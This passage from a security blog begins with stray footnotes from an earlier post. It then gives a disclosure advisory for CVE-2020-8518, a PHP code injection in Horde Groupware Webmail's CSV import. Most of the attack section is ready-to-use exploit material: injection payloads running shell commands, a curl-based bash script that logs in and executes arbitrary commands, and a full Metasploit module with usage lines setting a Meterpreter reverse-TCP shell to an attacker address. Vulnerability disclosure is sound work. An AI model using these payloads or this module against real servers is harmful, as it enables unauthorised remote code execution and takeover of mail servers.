<p>Apparently it is not strictly needed to use the <code class="language-plaintext highlighter-rouge">.phar</code> extension, <em>any</em> non-empty extension will cause PHP to treat the file as PHAR if accessed via the <code class="language-plaintext highlighter-rouge">phar://</code> scheme. <a href="#fnref:phar-extension" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:three-blocks" role="doc-endnote">
<p>Actually the Git version comes with a third apparently vulnerable block (<code class="language-plaintext highlighter-rouge">Tagsearch.php</code>) but it is missing in the PEAR and Debian APT versions. <a href="#fnref:three-blocks" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:manual" role="doc-endnote">
<p>This cannot be done directly from the web page, either intercept the request or use the developer tools of the browser to change the value. <a href="#fnref:manual" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:phar-unserialization" role="doc-endnote">
<p>See <a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf">File Operation Induced Unserialization via the “phar://” Stream Wrapper</a>. <a href="#fnref:phar-unserialization" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>Andrea Cardacicyrus.and@gmail.comAbstract[CVE-2020-8518] Horde Groupware Webmail Edition 5.2.22 — RCE in CSV data import2020-03-10T00:00:00+00:002020-03-10T00:00:00+00:00https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import<h2 id="abstract">Abstract</h2>
<p>The Horde project comprises several standalone applications and libraries, the <a href="https://www.horde.org/apps/webmail">Horde Groupware Webmail Edition suite</a> (tested version 5.2.22) bundles several of them by default, among those, Data is a library used to manage data import/export in several formats, e.g., CSV, iCalendar, vCard, etc.</p>
<p>The function in charge of parsing the CSV format uses <code class="language-plaintext highlighter-rouge">create_function</code> in a way that is possible to inject arbitrary PHP code thus achieving RCE on the server hosting the web application.</p>
<p>This feature is used by several Horde applications: Turba (address book; via <code class="language-plaintext highlighter-rouge">/turba/data.php</code>), Mnemo (notes; via <code class="language-plaintext highlighter-rouge">/mnemo/data.php</code>), Nag (tasks; via <code class="language-plaintext highlighter-rouge">/nag/data.php</code>) and Kronolith (calendar)<sup id="fnref:kronolith" role="doc-noteref"><a href="#fn:kronolith" class="footnote" rel="footnote">1</a></sup>. By using one of these an authenticated user can execute PHP and shell code as the user that runs the web server, usually <code class="language-plaintext highlighter-rouge">www-data</code>.</p>
<p>In the master branch of the <a href="https://github.com/horde/Data">Data</a> repository a <a href="https://github.com/horde/Data/commit/78ad0c2390176cdde7260a271bc6ddd86f4c9c0e#diff-e6c7843f9847ab630ddabc9b004e1e7d">commit</a> replaced <code class="language-plaintext highlighter-rouge">create_function</code> with a lambda function (as suggested by PHP that deprecated <code class="language-plaintext highlighter-rouge">create_function</code> in version 7.2.0) yet apparently the authors failed to recognize the exploitable status of the prior code so they did not bump a new version, thus installing Horde via PEAR or Debian APT yields the vulnerable version (2.1.4).</p>
<p>Since this vulnerability does not concern IMP (the Horde webmail application) it is likely that also regular Horde Groupware (non-webmail edition) installations are affected.</p>
<h2 id="details">Details</h2>
<p>In the file <code class="language-plaintext highlighter-rouge">lib/Horde/Data/Csv.php</code> the following snippet is used to parse a CSV line:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nv">$row</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$row</span> <span class="o">=</span> <span class="p">(</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$params</span><span class="p">[</span><span class="s1">'quote'</span><span class="p">])</span> <span class="o">&&</span> <span class="nb">strlen</span><span class="p">(</span><span class="nv">$params</span><span class="p">[</span><span class="s1">'escape'</span><span class="p">]))</span>
<span class="o">?</span> <span class="nb">array_map</span><span class="p">(</span><span class="nb">create_function</span><span class="p">(</span><span class="s1">'$a'</span><span class="p">,</span> <span class="s1">'return str_replace(\''</span> <span class="mf">.</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'\''</span><span class="p">,</span> <span class="s1">'\\\''</span><span class="p">,</span> <span class="nv">$params</span><span class="p">[</span><span class="s1">'escape'</span><span class="p">]</span> <span class="mf">.</span> <span class="nv">$params</span><span class="p">[</span><span class="s1">'quote'</span><span class="p">])</span> <span class="mf">.</span> <span class="s1">'\', \''</span> <span class="mf">.</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'\''</span><span class="p">,</span> <span class="s1">'\\\''</span><span class="p">,</span> <span class="nv">$params</span><span class="p">[</span><span class="s1">'quote'</span><span class="p">])</span> <span class="mf">.</span> <span class="s1">'\', $a);'</span><span class="p">),</span> <span class="nv">$row</span><span class="p">)</span>
<span class="o">:</span> <span class="nb">array_map</span><span class="p">(</span><span class="s1">'trim'</span><span class="p">,</span> <span class="nv">$row</span><span class="p">);</span>
</code></pre></div></div>
<p>Among the other things, the user supplies <code class="language-plaintext highlighter-rouge">$params['quote']</code>, so for example if its value is <code class="language-plaintext highlighter-rouge">quote</code> then <code class="language-plaintext highlighter-rouge">create_function</code> is called as:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">create_function</span><span class="p">(</span><span class="s1">'$a'</span><span class="p">,</span> <span class="s2">"return str_replace('</span><span class="se">\\</span><span class="s2">quote', 'quote', </span><span class="se">\$</span><span class="s2">a);"</span><span class="p">);</span>
</code></pre></div></div>
<p>The insufficient sanitization of <code class="language-plaintext highlighter-rouge">$params['quote']</code> escapes <code class="language-plaintext highlighter-rouge">'</code> as <code class="language-plaintext highlighter-rouge">\'</code> but fails to escape the <code class="language-plaintext highlighter-rouge">\</code> itself thus allowing to escape the last hard coded <code class="language-plaintext highlighter-rouge">'</code>. By passing <code class="language-plaintext highlighter-rouge">quote\</code>, <code class="language-plaintext highlighter-rouge">create_function</code> is called as:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">create_function</span><span class="p">(</span><span class="s1">'$a'</span><span class="p">,</span> <span class="s2">"return str_replace('</span><span class="se">\\</span><span class="s2">quote</span><span class="se">\\</span><span class="s2">', 'quote</span><span class="se">\\</span><span class="s2">', </span><span class="se">\$</span><span class="s2">a);"</span><span class="p">)</span>
</code></pre></div></div>
<p>And evaluated body is:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">return</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'\quote\', '</span><span class="n">quote</span><span class="err">\'</span><span class="p">,</span> <span class="nv">$a</span><span class="p">);</span>
</code></pre></div></div>
<p>Which causes a syntax error. (Note how the first string argument of <code class="language-plaintext highlighter-rouge">str_replace</code> now terminates at the first <code class="language-plaintext highlighter-rouge">'</code> of the second instance of <code class="language-plaintext highlighter-rouge">quote</code>.)</p>
<p>Follows a simple payload that executes the <code class="language-plaintext highlighter-rouge">id</code> shell command and returns the output in the response:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>).passthru("id").die();}//\
</code></pre></div></div>
<p>Where the evaluated body eventually is:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">return</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'\).passthru(id).die();}//\', '</span><span class="p">)</span><span class="mf">.</span><span class="nb">passthru</span><span class="p">(</span><span class="n">id</span><span class="p">)</span><span class="mf">.</span><span class="k">die</span><span class="p">();}</span><span class="c1">//\', $a);</span>
</code></pre></div></div>
<p>Here is the explanation of its parts:</p>
<ul>
<li>
<p><code class="language-plaintext highlighter-rouge">)</code> terminates <code class="language-plaintext highlighter-rouge">str_replace</code>;</p>
</li>
<li>
<p>the concatenation operator (<code class="language-plaintext highlighter-rouge">.</code>) continues the expression since the code starts with a <code class="language-plaintext highlighter-rouge">return</code>;</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">passthru("id")</code> is an example of the actual payload to be executed;</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">die()</code> is needed because <code class="language-plaintext highlighter-rouge">create_function</code> is used inside <code class="language-plaintext highlighter-rouge">array_map</code> thus it can be called multiple times and it also aborts the rest of the page;</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">}</code> terminates the block <code class="language-plaintext highlighter-rouge">function (...) {...}</code> used by the implementation of <code class="language-plaintext highlighter-rouge">create_function</code>, otherwise the following <code class="language-plaintext highlighter-rouge">//</code> would comment out <code class="language-plaintext highlighter-rouge">}</code> causing a syntax error;</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">//</code> comments out the remaining invalid PHP code;</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">\</code> escapes the hard coded string as shown above.</p>
</li>
</ul>
<p>Since some characters are treated specially, it may be convenient to encode the command to be executed with Base64, the payload will then become:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>).passthru(base64_decode("aWQ=")).die();}//\
</code></pre></div></div>
<h2 id="proof-of-concept">Proof of concept</h2>
<p>Among all the affected applications, Mnemo is probably one of the easiest to exploit as it does not require additional parameters that need to be scraped from the pages.</p>
<h3 id="manual-exploit">Manual exploit</h3>
<p>This vulnerability can be easily exploited manually by any registered user:</p>
<ol>
<li>
<p>log into Horde;</p>
</li>
<li>
<p>navigate to <code class="language-plaintext highlighter-rouge">http://target.com/mnemo/data.php</code>;</p>
</li>
<li>
<p>select any non-empty file to import then click “Next”;</p>
</li>
<li>
<p>in the input field labeled by “What is the quote character?” write the payload, e.g., <code class="language-plaintext highlighter-rouge">).passthru("id").die();}//\</code>
then click “Next”;</p>
</li>
<li>
<p>the output of the command should be returned, for example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div> </div>
</li>
</ol>
<h3 id="shell-exploit">Shell exploit</h3>
<p>Follows a simple script that automates the above steps:</p>
<div download="exploit.sh" class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>
<span class="k">if</span> <span class="o">[</span> <span class="s2">"$#"</span> <span class="nt">-ne</span> 4 <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">echo</span> <span class="s1">'[!] Usage: <url> <username> <password> <command>'</span> 1>&2
<span class="nb">exit </span>1
<span class="k">fi
</span><span class="nv">BASE</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
<span class="nv">USERNAME</span><span class="o">=</span><span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span>
<span class="nv">PASSWORD</span><span class="o">=</span><span class="s2">"</span><span class="nv">$3</span><span class="s2">"</span>
<span class="nv">COMMAND</span><span class="o">=</span><span class="s2">"</span><span class="nv">$4</span><span class="s2">"</span>
<span class="nv">JAR</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">mktemp</span><span class="si">)</span><span class="s2">"</span>
<span class="nb">trap</span> <span class="s1">'rm -f "$JAR"'</span> EXIT
<span class="nb">echo</span> <span class="s2">"[+] Logging in as </span><span class="nv">$USERNAME</span><span class="s2">:</span><span class="nv">$PASSWORD</span><span class="s2">"</span> 1>&2
curl <span class="nt">-si</span> <span class="nt">-c</span> <span class="s2">"</span><span class="nv">$JAR</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/login.php"</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'login_post=1'</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s2">"horde_user=</span><span class="nv">$USERNAME</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s2">"horde_pass=</span><span class="nv">$PASSWORD</span><span class="s2">"</span> | <span class="nb">grep</span> <span class="nt">-q</span> <span class="s1">'Location: /services/portal/'</span> <span class="o">||</span> <span class="se">\</span>
<span class="nb">echo</span> <span class="s1">'[!] Cannot log in'</span> 1>&2
<span class="nb">echo</span> <span class="s2">"[+] Uploading dummy file"</span> 1>&2
<span class="nb">echo </span>x | curl <span class="nt">-si</span> <span class="nt">-b</span> <span class="s2">"</span><span class="nv">$JAR</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/mnemo/data.php"</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s1">'actionID=11'</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s1">'import_step=1'</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s1">'import_format=csv'</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s1">'notepad_target=x'</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s1">'import_file=@-;filename=x'</span> <span class="se">\</span>
<span class="nt">-so</span> /dev/null
<span class="nb">echo</span> <span class="s2">"[+] Running command"</span> 1>&2
<span class="nv">BASE64_COMMAND</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$COMMAND</span><span class="s2"> 2>&1"</span> | <span class="nb">base64</span> <span class="nt">-w0</span><span class="si">)</span><span class="s2">"</span>
curl <span class="nt">-b</span> <span class="s2">"</span><span class="nv">$JAR</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/mnemo/data.php"</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'actionID=3'</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'import_step=2'</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'import_format=csv'</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'header=1'</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'fields=1'</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'sep=x'</span> <span class="se">\</span>
<span class="nt">--data-urlencode</span> <span class="s2">"quote=).passthru(base64_decode(</span><span class="se">\"</span><span class="nv">$BASE64_COMMAND</span><span class="se">\"</span><span class="s2">)).die();}//</span><span class="se">\\</span><span class="s2">"</span>
</code></pre></div></div>
<h3 id="metasploit-module">Metasploit module</h3>
<p>A Metasploit module is provided for convenience<sup id="fnref:module" role="doc-noteref"><a href="#fn:module" class="footnote" rel="footnote">2</a></sup>:</p>
<div download="horde_csv_rce.rb" class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">MetasploitModule</span> <span class="o"><</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Exploit</span><span class="o">::</span><span class="no">Remote</span>
<span class="no">Rank</span> <span class="o">=</span> <span class="no">ExcellentRanking</span>
<span class="kp">include</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Exploit</span><span class="o">::</span><span class="no">Remote</span><span class="o">::</span><span class="no">HttpClient</span>
<span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">info</span><span class="o">=</span><span class="p">{})</span>
<span class="k">super</span><span class="p">(</span>
<span class="n">update_info</span><span class="p">(</span>
<span class="n">info</span><span class="p">,</span>
<span class="s1">'Name'</span> <span class="o">=></span> <span class="s1">'Horde CSV import arbitrary PHP code execution'</span><span class="p">,</span>
<span class="s1">'Description'</span> <span class="o">=></span> <span class="sx">%q{
The Horde_Data module version 2.1.4 (and before) present in Horde
Groupware version 5.2.22 allows authenticated users to inject
arbitrary PHP code thus achieving RCE on the server hosting the web
application.
}</span><span class="p">,</span>
<span class="s1">'License'</span> <span class="o">=></span> <span class="no">MSF_LICENSE</span><span class="p">,</span>
<span class="s1">'Author'</span> <span class="o">=></span> <span class="p">[</span><span class="s1">'Andrea Cardaci <cyrus.and@gmail.com>'</span><span class="p">],</span>
<span class="s1">'References'</span> <span class="o">=></span> <span class="p">[</span>
<span class="p">[</span><span class="s1">'CVE'</span><span class="p">,</span> <span class="s1">'2020-8518'</span><span class="p">],</span>
<span class="p">[</span><span class="s1">'URL'</span><span class="p">,</span> <span class="s1">'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/'</span><span class="p">]</span>
<span class="p">],</span>
<span class="s1">'DisclosureDate'</span> <span class="o">=></span> <span class="s1">'2020-02-07'</span><span class="p">,</span>
<span class="s1">'Platform'</span> <span class="o">=></span> <span class="s1">'php'</span><span class="p">,</span>
<span class="s1">'Arch'</span> <span class="o">=></span> <span class="no">ARCH_PHP</span><span class="p">,</span>
<span class="s1">'Targets'</span> <span class="o">=></span> <span class="p">[[</span><span class="s1">'Automatic'</span><span class="p">,</span> <span class="p">{}]],</span>
<span class="s1">'Payload'</span> <span class="o">=></span> <span class="p">{</span><span class="s1">'BadChars'</span> <span class="o">=></span> <span class="s2">"'"</span><span class="p">},</span>
<span class="s1">'Privileged'</span> <span class="o">=></span> <span class="kp">false</span><span class="p">,</span>
<span class="s1">'DefaultTarget'</span> <span class="o">=></span> <span class="mi">0</span><span class="p">))</span>
<span class="n">register_options</span><span class="p">(</span>
<span class="p">[</span>
<span class="no">OptString</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'TARGETURI'</span><span class="p">,</span> <span class="p">[</span><span class="kp">true</span><span class="p">,</span> <span class="s1">'The path to the web application'</span><span class="p">,</span> <span class="s1">'/'</span><span class="p">]),</span>
<span class="no">OptString</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'USERNAME'</span><span class="p">,</span> <span class="p">[</span><span class="kp">true</span><span class="p">,</span> <span class="s1">'The username to authenticate with'</span><span class="p">]),</span>
<span class="no">OptString</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'PASSWORD'</span><span class="p">,</span> <span class="p">[</span><span class="kp">true</span><span class="p">,</span> <span class="s1">'The password to authenticate with'</span><span class="p">])</span>
<span class="p">])</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">login</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">datastore</span><span class="p">[</span><span class="s1">'USERNAME'</span><span class="p">]</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">datastore</span><span class="p">[</span><span class="s1">'PASSWORD'</span><span class="p">]</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">send_request_cgi</span><span class="p">(</span>
<span class="s1">'method'</span> <span class="o">=></span> <span class="s1">'POST'</span><span class="p">,</span>
<span class="s1">'uri'</span> <span class="o">=></span> <span class="n">normalize_uri</span><span class="p">(</span><span class="n">target_uri</span><span class="p">,</span> <span class="s1">'login.php'</span><span class="p">),</span>
<span class="s1">'cookie'</span> <span class="o">=></span> <span class="s1">'Horde=x'</span><span class="p">,</span> <span class="c1"># avoid multiple Set-Cookie</span>
<span class="s1">'vars_post'</span> <span class="o">=></span> <span class="p">{</span>
<span class="s1">'horde_user'</span> <span class="o">=></span> <span class="n">username</span><span class="p">,</span>
<span class="s1">'horde_pass'</span> <span class="o">=></span> <span class="n">password</span><span class="p">,</span>
<span class="s1">'login_post'</span> <span class="o">=></span> <span class="s1">'1'</span><span class="p">})</span>
<span class="k">if</span> <span class="n">not</span> <span class="n">res</span> <span class="n">or</span> <span class="n">res</span><span class="p">.</span><span class="nf">code</span> <span class="o">!=</span> <span class="mi">302</span> <span class="n">or</span> <span class="n">res</span><span class="p">.</span><span class="nf">headers</span><span class="p">[</span><span class="s1">'Location'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">'/services/portal/'</span>
<span class="n">fail_with</span><span class="p">(</span><span class="no">Failure</span><span class="o">::</span><span class="no">UnexpectedReply</span><span class="p">,</span> <span class="s1">'Login failed or application not found'</span><span class="p">)</span>
<span class="k">else</span>
<span class="n">vprint_good</span><span class="p">(</span><span class="s2">"Logged in as </span><span class="si">#{</span><span class="n">username</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">password</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">res</span><span class="p">.</span><span class="nf">get_cookies</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">upload_csv</span><span class="p">(</span><span class="n">cookie</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="no">Rex</span><span class="o">::</span><span class="no">MIME</span><span class="o">::</span><span class="no">Message</span><span class="p">.</span><span class="nf">new</span>
<span class="n">data</span><span class="p">.</span><span class="nf">add_part</span><span class="p">(</span><span class="s1">'11'</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="s1">'form-data; name="actionID"'</span><span class="p">)</span>
<span class="n">data</span><span class="p">.</span><span class="nf">add_part</span><span class="p">(</span><span class="s1">'1'</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="s1">'form-data; name="import_step"'</span><span class="p">)</span>
<span class="n">data</span><span class="p">.</span><span class="nf">add_part</span><span class="p">(</span><span class="s1">'csv'</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="s1">'form-data; name="import_format"'</span><span class="p">)</span>
<span class="n">data</span><span class="p">.</span><span class="nf">add_part</span><span class="p">(</span><span class="s1">'x'</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="s1">'form-data; name="notepad_target"'</span><span class="p">)</span>
<span class="n">data</span><span class="p">.</span><span class="nf">add_part</span><span class="p">(</span><span class="s1">'x'</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="s1">'form-data; name="import_file"; filename="x"'</span><span class="p">)</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">send_request_cgi</span><span class="p">(</span>
<span class="s1">'method'</span> <span class="o">=></span> <span class="s1">'POST'</span><span class="p">,</span>
<span class="s1">'uri'</span> <span class="o">=></span> <span class="n">normalize_uri</span><span class="p">(</span><span class="n">target_uri</span><span class="p">,</span> <span class="s1">'mnemo/data.php'</span><span class="p">),</span>
<span class="s1">'cookie'</span> <span class="o">=></span> <span class="n">cookie</span><span class="p">,</span>
<span class="s1">'ctype'</span> <span class="o">=></span> <span class="s2">"multipart/form-data; boundary=</span><span class="si">#{</span><span class="n">data</span><span class="p">.</span><span class="nf">bound</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span>
<span class="s1">'data'</span> <span class="o">=></span> <span class="n">data</span><span class="p">.</span><span class="nf">to_s</span><span class="p">)</span>
<span class="k">if</span> <span class="n">not</span> <span class="n">res</span> <span class="n">or</span> <span class="n">res</span><span class="p">.</span><span class="nf">code</span> <span class="o">!=</span> <span class="mi">200</span>
<span class="n">fail_with</span><span class="p">(</span><span class="no">Failure</span><span class="o">::</span><span class="no">UnexpectedReply</span><span class="p">,</span> <span class="s1">'Cannot upload the CSV file'</span><span class="p">)</span>
<span class="k">else</span>
<span class="n">vprint_good</span><span class="p">(</span><span class="s1">'CSV file uploaded'</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">execute</span><span class="p">(</span><span class="n">cookie</span><span class="p">,</span> <span class="n">function_call</span><span class="p">,</span> <span class="n">check</span><span class="p">)</span>
<span class="n">options</span> <span class="o">=</span> <span class="p">{</span>
<span class="s1">'method'</span> <span class="o">=></span> <span class="s1">'POST'</span><span class="p">,</span>
<span class="s1">'uri'</span> <span class="o">=></span> <span class="n">normalize_uri</span><span class="p">(</span><span class="n">target_uri</span><span class="p">,</span> <span class="s1">'mnemo/data.php'</span><span class="p">),</span>
<span class="s1">'cookie'</span> <span class="o">=></span> <span class="n">cookie</span><span class="p">,</span>
<span class="s1">'vars_post'</span> <span class="o">=></span> <span class="p">{</span>
<span class="s1">'actionID'</span> <span class="o">=></span> <span class="s1">'3'</span><span class="p">,</span>
<span class="s1">'import_step'</span> <span class="o">=></span> <span class="s1">'2'</span><span class="p">,</span>
<span class="s1">'import_format'</span> <span class="o">=></span> <span class="s1">'csv'</span><span class="p">,</span>
<span class="s1">'header'</span> <span class="o">=></span> <span class="s1">'1'</span><span class="p">,</span>
<span class="s1">'fields'</span> <span class="o">=></span> <span class="s1">'1'</span><span class="p">,</span>
<span class="s1">'sep'</span> <span class="o">=></span> <span class="s1">'x'</span><span class="p">,</span>
<span class="s1">'quote'</span> <span class="o">=></span> <span class="s2">").</span><span class="si">#{</span><span class="n">function_call</span><span class="si">}</span><span class="s2">.die();}//</span><span class="se">\\</span><span class="s2">"</span><span class="p">}}</span>
<span class="k">if</span> <span class="n">check</span>
<span class="c1"># deliver the payload and return the body</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">send_request_cgi</span><span class="p">(</span><span class="n">options</span><span class="p">)</span>
<span class="k">if</span> <span class="n">not</span> <span class="n">res</span> <span class="n">or</span> <span class="n">res</span><span class="p">.</span><span class="nf">code</span> <span class="o">!=</span> <span class="mi">200</span>
<span class="n">fail_with</span><span class="p">(</span><span class="no">Failure</span><span class="o">::</span><span class="no">UnexpectedReply</span><span class="p">,</span> <span class="s1">'Cannot execute the payload'</span><span class="p">)</span>
<span class="k">else</span>
<span class="n">vprint_good</span><span class="p">(</span><span class="s1">'Payload executed successfully'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">res</span><span class="p">.</span><span class="nf">body</span>
<span class="k">end</span>
<span class="k">else</span>
<span class="c1"># deliver the payload in a a new thread since the meterpreter payload does</span>
<span class="c1"># not terminate when successful this allows to poll for session creation</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">framework</span><span class="p">.</span><span class="nf">threads</span><span class="p">.</span><span class="nf">spawn</span><span class="p">(</span><span class="kp">nil</span><span class="p">,</span> <span class="kp">false</span><span class="p">)</span> <span class="p">{</span>
<span class="n">send_request_cgi</span><span class="p">(</span><span class="n">options</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">while</span> <span class="n">t</span><span class="p">.</span><span class="nf">alive?</span> <span class="n">and</span> <span class="n">not</span> <span class="n">session_created?</span>
<span class="no">Rex</span><span class="o">::</span><span class="no">ThreadSafe</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">check</span>
<span class="k">begin</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="n">login</span><span class="p">()</span>
<span class="n">upload_csv</span><span class="p">(</span><span class="n">cookie</span><span class="p">)</span>
<span class="n">body</span> <span class="o">=</span> <span class="n">execute</span><span class="p">(</span><span class="n">cookie</span><span class="p">,</span> <span class="s1">'printf("check")'</span><span class="p">,</span> <span class="kp">true</span><span class="p">)</span>
<span class="k">return</span> <span class="no">Exploit</span><span class="o">::</span><span class="no">CheckCode</span><span class="o">::</span><span class="no">Appears</span> <span class="k">if</span> <span class="n">body</span> <span class="o">==</span> <span class="s1">'check'</span>
<span class="k">rescue</span> <span class="no">Msf</span><span class="o">::</span><span class="no">Exploit</span><span class="o">::</span><span class="no">Failed</span>
<span class="k">end</span>
<span class="k">return</span> <span class="no">Exploit</span><span class="o">::</span><span class="no">CheckCode</span><span class="o">::</span><span class="no">Safe</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">exploit</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="n">login</span><span class="p">()</span>
<span class="n">upload_csv</span><span class="p">(</span><span class="n">cookie</span><span class="p">)</span>
<span class="c1"># do not terminate the statement</span>
<span class="n">function_call</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="nf">encoded</span><span class="p">.</span><span class="nf">tr</span><span class="p">(</span><span class="s1">';'</span><span class="p">,</span> <span class="s1">''</span><span class="p">)</span>
<span class="n">vprint_status</span><span class="p">(</span><span class="s2">"Sending payload: </span><span class="si">#{</span><span class="n">function_call</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">execute</span><span class="p">(</span><span class="n">cookie</span><span class="p">,</span> <span class="n">function_call</span><span class="p">,</span> <span class="kp">false</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>Place it in <code class="language-plaintext highlighter-rouge">~/.msf4/modules/exploits/multi/http/horde_csv_rce.rb</code>, then use it like:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">use exploit/multi/http/horde_csv_rce
set payload php/meterpreter/reverse_tcp
set lhost 10.10.10.10
set rhost target.com
set username username
set password password
run
</span></code></pre></div></div>
<h2 id="timeline">Timeline</h2>
<dl>
<dt>2019-06-20</dt>
<dd>First contact with SecuriTeam Secure Disclosure (SSD).</dd>
<dt>2019-07-14</dt>
<dd>Disclosure via the SSD program.</dd>
<dt>2019-07-31</dt>
<dd>SSD grants the reward.</dd>
<dt>2020-02-04</dt>
<dd>Horde development team <a href="https://lists.horde.org/archives/announce/2020/001285.html">fixes</a> the issue in version 2.1.5.</dd>
<dt>2020-02-07</dt>
<dd>SSD publishes the <a href="https://ssd-disclosure.com/archives/4097/ssd-advisory-horde-groupware-webmail-edition-remote-code-execution">advisory</a>.</dd>
<dt>2020-03-23</dt>
<dd>Rapid7 adds the <a href="https://github.com/rapid7/metasploit-framework/pull/13082">module</a> to Metasploit.</dd>
</dl>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:kronolith" role="doc-endnote">
<p>Although it seems feasible according to the source code it does not seem possible to reach the feature via the web interface. <a href="#fnref:kronolith" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:module" role="doc-endnote">
<p>This module (with some modifications) is <a href="https://github.com/rapid7/metasploit-framework/pull/13082#issuecomment-602563735">now</a> part of Metasploit. <a href="#fnref:module" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
